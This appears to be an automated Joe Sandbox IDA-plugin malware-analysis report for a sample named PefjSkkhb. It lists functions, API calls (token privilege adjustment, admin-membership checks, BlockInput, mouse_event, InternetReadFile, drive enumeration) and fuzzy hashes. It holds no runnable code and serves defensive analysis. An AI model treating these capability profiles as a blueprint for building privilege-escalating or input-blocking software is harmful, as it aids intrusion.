Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: e4554bc00dae79acf66b4cb450403028b462a58aae1405cf9917eeaf9ae9a37c
Instruction ID: fb7d449bc57ebd6c2ab469efd2c41d8f5d127d7d7fa6f735ca44be9c4090752b
Opcode Fuzzy Hash: e4554bc00dae79acf66b4cb450403028b462a58aae1405cf9917eeaf9ae9a37c
Instruction Fuzzy Hash: 9E319336608F8582EB11AF25E48026EB770FB84B98F544531EB8E83765DF7CE446CB50

Function 00007FF7C0EBD5CC Relevance: 4.6, APIs: 3, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E74C68: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C0E74C5C

LookupPrivilegeValueW.ADVAPI32 ref: 00007FF7C0EBD630
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7C0EBD66F
GetLastError.KERNEL32 ref: 00007FF7C0EBD682

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AdjustConcurrency::cancel_current_taskErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 2278415577-0
Opcode ID: 8475faea5d733a641d8ed04cc9d05f049bff3c861d0b4ae6caf63cee6e71bede
Instruction ID: 75ed3ecd09083aeac9ae746ad0bd8c99e1ab7c3c1f8877535fc06c41899dd1af
Opcode Fuzzy Hash: 8475faea5d733a641d8ed04cc9d05f049bff3c861d0b4ae6caf63cee6e71bede
Instruction Fuzzy Hash: 0821D072A08A8185EB00EF26E04426AB7A0FB88BE4F848134CF4C87718DF78E595C794

Function 00007FF7C0EBD540 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF7C0EBD58C
CheckTokenMembership.ADVAPI32 ref: 00007FF7C0EBD5A3
FreeSid.ADVAPI32 ref: 00007FF7C0EBD5B4

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
Instruction ID: 3eb7512ff40f3ddb2e94420f6b1f0f241cdbeff402f8d9f9b19fdbfc120ebbd3
Opcode Fuzzy Hash: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
Instruction Fuzzy Hash: 23014073628781CFE7209F20D4553AE73A0F75476EF400929E64D86A98CB7DD158CB80

Function 00007FF7C0E92F50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

., xrefs: 00007FF7C0E93198

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 704ebd355b677e1258a9e20fb2f824619711b00144154a2c45bc08c04a856543
Instruction ID: 285dc57747dc1e61d13f67b51e48823691b2c7202edb84936267720fb93de441
Opcode Fuzzy Hash: 704ebd355b677e1258a9e20fb2f824619711b00144154a2c45bc08c04a856543
Instruction Fuzzy Hash: 94315912B186D144EB20BF7698046BAE6A1FB50BF4F888635EE6D87BC4DF3CE4418350

Function 00007FF7C0EE2464 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

mouse_event.USER32 ref: 00007FF7C0EE250A

Part of subcall function 00007FF7C0E78E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E78E4F

Strings

DOWN, xrefs: 00007FF7C0EE24E1

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfomouse_event
String ID: DOWN
API String ID: 17014623-711622031
Opcode ID: 5b704a07574124c7e817457ac83024f80addd9552f4bff182079f39b1e753b8c
Instruction ID: f467cecd1e5c82830557a32f571ec8747fcf0111687ae7f940eb13c28bc74be7
Opcode Fuzzy Hash: 5b704a07574124c7e817457ac83024f80addd9552f4bff182079f39b1e753b8c
Instruction Fuzzy Hash: FA218E32A48A5A81EB14FF26E51027AA360FB84BA4F844035DE6DC7795DF7CF4828790

Function 00007FF7C0ED71F4 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7C0ED7227
FindClose.KERNEL32 ref: 00007FF7C0ED726A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction ID: a3698ea1fd680f7f829b72bc5c9d999335cff17f5c44841cdecd9231e871be1a
Opcode Fuzzy Hash: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction Fuzzy Hash: B2118176B48B8182EB10EF26E08436DB760FB88BA4F458631DB6D87791CF7CE4518790

Function 00007FF7C0ED3778 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF7C0EE7AD2), ref: 00007FF7C0ED379A
FormatMessageW.KERNEL32 ref: 00007FF7C0ED37C9

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
Instruction ID: c497a3667b32e5eed545331a63da7c8bcb93e0c8022b2e704be7d4b05ff8e366
Opcode Fuzzy Hash: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
Instruction Fuzzy Hash: 46F0A46270CB4241E7206F25F40426AE2A5FFC87A4F944134EB9D82BA9DF3CD0448B50

Function 00007FF7C0EBCCE0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7C0EBCD07
CloseHandle.KERNEL32 ref: 00007FF7C0EBCD1F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 3b88351c3c8e07ec62d96cf7e52e6b55e92c273785c5c0fd5bcb4e6ff751a6f7
Instruction ID: 744f4ae347bfec7c3fdd7e0e77500500250cfa37a90e6508b7f46d978010155a
Opcode Fuzzy Hash: 3b88351c3c8e07ec62d96cf7e52e6b55e92c273785c5c0fd5bcb4e6ff751a6f7
Instruction Fuzzy Hash: 2DF0A0A6A58A4582FB11EF21D4153B99360FBD8FA8F600531CE0D8A354CF6CE08682A0

Function 00007FF7C0EDE87C Relevance: 1.6, APIs: 1, Instructions: 62filenetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E848E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E84835

InternetReadFile.WININET ref: 00007FF7C0EDE8D8

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: FileInternetRead_invalid_parameter_noinfo
String ID:
API String ID: 101623796-0
Opcode ID: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
Instruction ID: c5ad1569a05fdf12a8177e73a6a19ab2ef7008aabba2fe5cd6366768475fcde5
Opcode Fuzzy Hash: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
Instruction Fuzzy Hash: 92219262B4978282FA64FE11A0147B9A350FB85B94FC85135DA4C87B85DF3CF602CB94

Function 00007FF7C0EE0A00 Relevance: 1.5, APIs: 1, Instructions: 23keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32 ref: 00007FF7C0EE0A26

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
Instruction ID: 6861f26571afda57bb6a14953ebbf77d35776667f4858ddf73f2e33c14996edc
Opcode Fuzzy Hash: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
Instruction Fuzzy Hash: 96E0653275870686EB44BF61E04027AA290AB94F94F545035DA1EC3345DF7CE4D08750

Function 00007FF7C0EB2BCF Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00007FF7C0EB2BE4

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
Instruction ID: a488cb5aee4bf9a6f07bc9b8ab7d2e878160d6c4841cfd23a07c716d326e9bf9
Opcode Fuzzy Hash: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
Instruction Fuzzy Hash: F2C01271614662D9E760EF24DC882DC3330F70072CFC01121E60A4E9689FB89248C340

Function 00007FF7C0E94318 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7C0E9431C

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: cf50d128dd3344e2a26665cf24b57cc892866eab895f7b642e8f36e24e0f0ced
Instruction ID: ec9ebcfb0c08ba5791db86bec783d12e8e625f7c56e4029a3ade98ba62c47e01
Opcode Fuzzy Hash: cf50d128dd3344e2a26665cf24b57cc892866eab895f7b642e8f36e24e0f0ced
Instruction Fuzzy Hash: BEB09220E0BA02C2EA093F116C8A21463A4BF48B20FD84139C00CC0330DF2C30EA5770

Function 00007FF7C0E8FD20 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction ID: 181c493fb12b0e485c598375630e246999689faff7e7edcc1f96982b4c1925b9
Opcode Fuzzy Hash: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction Fuzzy Hash: 9DF06871B682A58AEB94DF2CA44262977D0F74C3D0F909039D68DC3F44DB3C95949F54

Function 00007FF7C0E759C8 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction ID: 6c771b558d193ff37ba8f7ad61812f2e717806132c4754a48d63a39cadc01bcb
Opcode Fuzzy Hash: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction Fuzzy Hash: 35A0012694E902D4E606AF04A854031A220AB91724BD10532D11D866619FBDB480C2A0

Function 00007FF7C0EFE95C Relevance: 49.7, APIs: 33, Instructions: 231windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00007FF7C0EFE9C4
SetTextColor.GDI32 ref: 00007FF7C0EFE9CF
GetSysColorBrush.USER32 ref: 00007FF7C0EFE9E8
GetSysColor.USER32 ref: 00007FF7C0EFE9FA
SetBkColor.GDI32 ref: 00007FF7C0EFEA1B
SelectObject.GDI32 ref: 00007FF7C0EFEA2A
InflateRect.USER32 ref: 00007FF7C0EFEA4F
GetSysColor.USER32 ref: 00007FF7C0EFEA5A
CreateSolidBrush.GDI32(?,?,?,?,?,00000000,?,?,?,?,?,00007FF7C0F0120A,?,?,?,00007FF7C0E9AA77), ref: 00007FF7C0EFEA62
FrameRect.USER32 ref: 00007FF7C0EFEA75
DeleteObject.GDI32 ref: 00007FF7C0EFEA7E
InflateRect.USER32 ref: 00007FF7C0EFEAD3
FillRect.USER32 ref: 00007FF7C0EFEB03
GetWindowLongW.USER32 ref: 00007FF7C0EFEB22
SendMessageW.USER32 ref: 00007FF7C0EFEB6F

Part of subcall function 00007FF7C0EFECB4: GetSysColor.USER32 ref: 00007FF7C0EFECFB
Part of subcall function 00007FF7C0EFECB4: SetTextColor.GDI32 ref: 00007FF7C0EFED06
Part of subcall function 00007FF7C0EFECB4: GetSysColorBrush.USER32 ref: 00007FF7C0EFED21
Part of subcall function 00007FF7C0EFECB4: GetSysColor.USER32 ref: 00007FF7C0EFED34
Part of subcall function 00007FF7C0EFECB4: GetSysColor.USER32 ref: 00007FF7C0EFED5F
Part of subcall function 00007FF7C0EFECB4: CreatePen.GDI32 ref: 00007FF7C0EFED76
Part of subcall function 00007FF7C0EFECB4: SelectObject.GDI32 ref: 00007FF7C0EFED87
Part of subcall function 00007FF7C0EFECB4: SetBkColor.GDI32 ref: 00007FF7C0EFED97
Part of subcall function 00007FF7C0EFECB4: SelectObject.GDI32 ref: 00007FF7C0EFEDAA
Part of subcall function 00007FF7C0EFECB4: InflateRect.USER32 ref: 00007FF7C0EFEDD1
Part of subcall function 00007FF7C0EFECB4: RoundRect.GDI32 ref: 00007FF7C0EFEDFD
Part of subcall function 00007FF7C0EFECB4: GetWindowLongW.USER32 ref: 00007FF7C0EFEE0B

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: cf82231de9513dfa3aaa851f98872d3f79157a14b5940c6e9e999cb2d713e7b9
Instruction ID: 6e9517cab7ca5b8701db72dd65c037b95cfc110114f104593f4a293f7e2094d2
Opcode Fuzzy Hash: cf82231de9513dfa3aaa851f98872d3f79157a14b5940c6e9e999cb2d713e7b9
Instruction Fuzzy Hash: 08A1A532F08A028AEB15AF65954457DA761BB88B78F904334DE2E93794DF7CF48487A0

Function 00007FF7C0ED4F30 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 247COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF7C0ED4F61
GetDriveTypeW.KERNEL32 ref: 00007FF7C0ED50BE
SetErrorMode.KERNEL32 ref: 00007FF7C0ED52A3

Strings

SSD, xrefs: 00007FF7C0ED515D
1394, xrefs: 00007FF7C0ED51DE
USB, xrefs: 00007FF7C0ED51BA
Virtual, xrefs: 00007FF7C0ED5231
FileBackedVirtual, xrefs: 00007FF7C0ED5228
SAS, xrefs: 00007FF7C0ED5255
RAID, xrefs: 00007FF7C0ED5202
Unknown, xrefs: 00007FF7C0ED50E1
ATAPI, xrefs: 00007FF7C0ED51F0
PhysicalDrive, xrefs: 00007FF7C0ED4FF5
Fixed, xrefs: 00007FF7C0ED5111
\\.\, xrefs: 00007FF7C0ED4FAE
MMC, xrefs: 00007FF7C0ED523A
Fibre, xrefs: 00007FF7C0ED51C6
iSCSI, xrefs: 00007FF7C0ED525E
SATA, xrefs: 00007FF7C0ED524C
SSA, xrefs: 00007FF7C0ED51D2
Removable, xrefs: 00007FF7C0ED511D
SCSI, xrefs: 00007FF7C0ED51F9
ATA, xrefs: 00007FF7C0ED51E7
CDROM, xrefs: 00007FF7C0ED50F9
RAMDisk, xrefs: 00007FF7C0ED50ED
Network, xrefs: 00007FF7C0ED5105

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 94db47e06bd0190674c94e1b1137c27149ea748c604d997c0ecd6c7b010eced7
Instruction ID: c13be67a1f41d2a8e722334aaf4b45b42f50d9fe079b1279673abcd52b3939c3
Opcode Fuzzy Hash: 94db47e06bd0190674c94e1b1137c27149ea748c604d997c0ecd6c7b010eced7
Instruction Fuzzy Hash: 94B13E22B4DB0694EA54BF25D84017CA371FB407A4BE85136D90E877A9DF2CF989C3A0

Function 00007FF7C0EFECB4 Relevance: 39.2, APIs: 26, Instructions: 179windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00007FF7C0EFECFB
SetTextColor.GDI32 ref: 00007FF7C0EFED06
GetSysColorBrush.USER32 ref: 00007FF7C0EFED21
GetSysColor.USER32 ref: 00007FF7C0EFED34
CreateSolidBrush.GDI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EFE98C), ref: 00007FF7C0EFED3E
GetSysColor.USER32 ref: 00007FF7C0EFED5F
CreatePen.GDI32 ref: 00007FF7C0EFED76
SelectObject.GDI32 ref: 00007FF7C0EFED87
SetBkColor.GDI32 ref: 00007FF7C0EFED97
SelectObject.GDI32 ref: 00007FF7C0EFEDAA
InflateRect.USER32 ref: 00007FF7C0EFEDD1
RoundRect.GDI32 ref: 00007FF7C0EFEDFD
GetWindowLongW.USER32 ref: 00007FF7C0EFEE0B
SendMessageW.USER32 ref: 00007FF7C0EFEE58
GetWindowTextW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EFE98C), ref: 00007FF7C0EFEE90
InflateRect.USER32 ref: 00007FF7C0EFEEB3
DrawFocusRect.USER32 ref: 00007FF7C0EFEEC1
